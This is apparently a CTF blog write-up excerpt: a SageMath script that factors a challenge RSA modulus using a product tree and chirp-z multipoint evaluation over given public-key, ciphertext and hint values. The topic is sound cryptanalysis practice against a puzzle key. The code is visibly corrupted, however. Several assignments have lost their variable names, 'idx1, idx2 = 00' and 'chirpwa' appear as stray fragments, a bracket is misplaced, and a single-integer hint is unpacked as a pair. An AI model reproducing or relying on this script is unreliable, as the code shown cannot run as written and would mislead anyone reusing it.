The computation of $G$ took about 2 hours, and the remaining parts also took around 2 hours. 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
from sage.all import * 
import random as rand
from tqdm import tqdm 
import time 
from Crypto.Util.number import inverse, getPrime 
 
p_size = 1000
d_size = 105
l_size = 55
 
enc = 35558284230663313298312684064040643811204702946900174110911295087662938676356112802781671547473910691476600838877279843972105403072929243674403244286458898562457747942651643439624568905004454158744508429126554955023110569348839934098381885098523538078300248638407684468503519326866276798222721018258242443186786917829878515320321445508466038372324063139762003962072922393974710763356236627711414307859950011736526834586028087922704589199885845050751932885698053938070734392371814246294798366452078193195538346218718588887085179856336533576097324041969786125752304133487678308830354729347735644474025828
 
pk = (44774502335951608354043148360684114092901940301155357314508676399067538307546121753785009844275454594381602690061553832466871574728524408152400619047820736137949166290404514747591817206669966103047443912935755873432503095952914080827536130899968275165557303493867755627520568588808534411526058896791373252974606364861105086430729757064078675811147972536205086402752245214343186536177015741922559575575911278873118556603923689408629477875537332177644886701517140711134017511229202430437068095342526435886609381176269251580339549071944830141516001532825295594908434587285225415103472279090325281062442217, 29624366183227462965645558392954094074485353876807451497147549927093025197118051280445930543762170853769573962200247669305286333212410439624262142109295839433584663989554419810341266820063074908743295553517790354149623873028162282751352613333181218478850463012413786673509078012976454604598813805735677104174112776060905225493357010861225261560490401501912259585922988353328944884443953564154752191932500561561256069872534626325000901099904014035414792860997025614313564862063784602254606240743545483125618939111639728114664995759380293512809125885893543730614962375399353971677980309835647540883700977)
 
hint = (50134150243463894333469053087705)
 
 
(n, e) = pk
(hint_p, hint_q) = hint
 
SIZE = 1 << ((d_size - l_size) // 2)
= Zmod(n)(rand.randint(21 << 128))
print("m"int(m))
 
RR = Zmod(n)
 
chirp = m ** (e << l_size)
Fix1 = m ** (e * hint_p)
Fix2 = m ** (e << ((l_size + d_size) // 2))
 
sys.setrecursionlimit(10 ** 6)
 
= PolynomialRing(RR, 'x')
= P.gen()
 
= time.time()
 
cnt = 0 
 
DEG_BOUND = (1 << 24)
 
def getMul(f1, f2):
    if f1.degree() < DEG_BOUND and f2.degree() < DEG_BOUND:
        return f1 * f2
    arr = [RR(0)] * (f1.degree() + f2.degree() + 1)
    temp1 = f1.coefficients(sparse = False)
    temp2 = f2.coefficients(sparse = False)
    idx1 = 0
    U1s = []
    while idx1 <= f1.degree():
        U1s.append(P(temp1[idx1: idx1 + DEG_BOUND]))
        idx1 += DEG_BOUND 
    idx2 = 0
    U2s = []
    while idx2 <= f2.degree():
        U2s.append(P(temp2[idx2: idx2 + DEG_BOUND]))
        idx2 += DEG_BOUND
    idx1, idx2 = 00
    while idx1 * DEG_BOUND <= f1.degree():
        idx2 = 0
        while idx2 * DEG_BOUND <= f2.degree():
            temp = (U1s[idx1] * U2s[idx2]).coefficients(sparse = False)
            for v in range(len(temp)):
                arr[(idx1 + idx2) * DEG_BOUND + v] += temp[v]
            idx2 += 1
        idx1 += 1
    return P(arr)
 
def compute(L, R):
    global cnt
    if R - L == (1 << 16):
        print("HEY", cnt)
        cnt += 1
    if L >= R:
        return 1 
    if L + 1 == R:
        return ((Fix2 ** L) * Fix1) * x - m
    f1 = compute(L, (L + R) // 2)
    f2 = compute((L + R) // 2, R)
    return getMul(f1, f2)
 
= compute(0, SIZE)
 
print(time.time() - T)
 
# now compute all 
print("computed G(x), now multipoint eval via chirp-z")
 
coefG = G.coefficients(sparse = False)
 
del G 
 
A1 = [RR(1), RR(1)]
cur = RR(1)
for i in tqdm(range(2, SIZE * 2)):
    cur = cur * chirpwa
    A1.append(A1[i-1* cur)
 
A0 = []
for i in tqdm(range(SIZE + 1)):
    A0.append(coefG[SIZE - i] / A1[SIZE - i])
 
del coefG
 
 
idx1 = 0
U1s = []
while idx1 <= SIZE:
    U1s.append(P(A0[idx1: idx1 + DEG_BOUND]))
    idx1 += DEG_BOUND 
del A0 
 
print("A0")
 
idx2 = 0
U2s = []
while idx2 <= SIZE * 2 - 1:
    U2s.append(P(A1[idx2: idx2 + DEG_BOUND]))
    idx2 += DEG_BOUND
 
print("A1")
 
arr = [RR(0)] * (SIZE)
idx1, idx2 = 00
while idx1 * DEG_BOUND <= SIZE:
    idx2 = 0
    while idx2 * DEG_BOUND <= SIZE * 2 - 1:
        temp = (U1s[idx1] * U2s[idx2]).coefficients(sparse = False)
        for v in range(len(temp)):
            if SIZE <= (idx1 + idx2) * DEG_BOUND + v < 2 * SIZE:
                arr[(idx1 + idx2) * DEG_BOUND + v - SIZE] += temp[v]
        del temp 
        idx2 += 1
    idx1 += 1
 
print("now let's calculate it!")
 
for i in tqdm(range(0, SIZE)):
    val = arr[i] / A1[i]
    t = GCD(int(val), n)
    if t != 1 and t != n:
        print("Found!!!!", t)
 
print(time.time() - T)
 
cs

'CTF' 카테고리의 다른 글

BlackHat MEA Finals  (0) 2022.11.21
CODEGATE 2022 Finals: Look It Up  (0) 2022.11.09
0CTF 2022 TCTF NFT Market  (0) 2022.09.19
WACon 2022 Quals: RSA Secret Sharing  (0) 2022.06.27
CODEGATE 2022 Preliminary : Prime-Generator  (0) 2022.02.28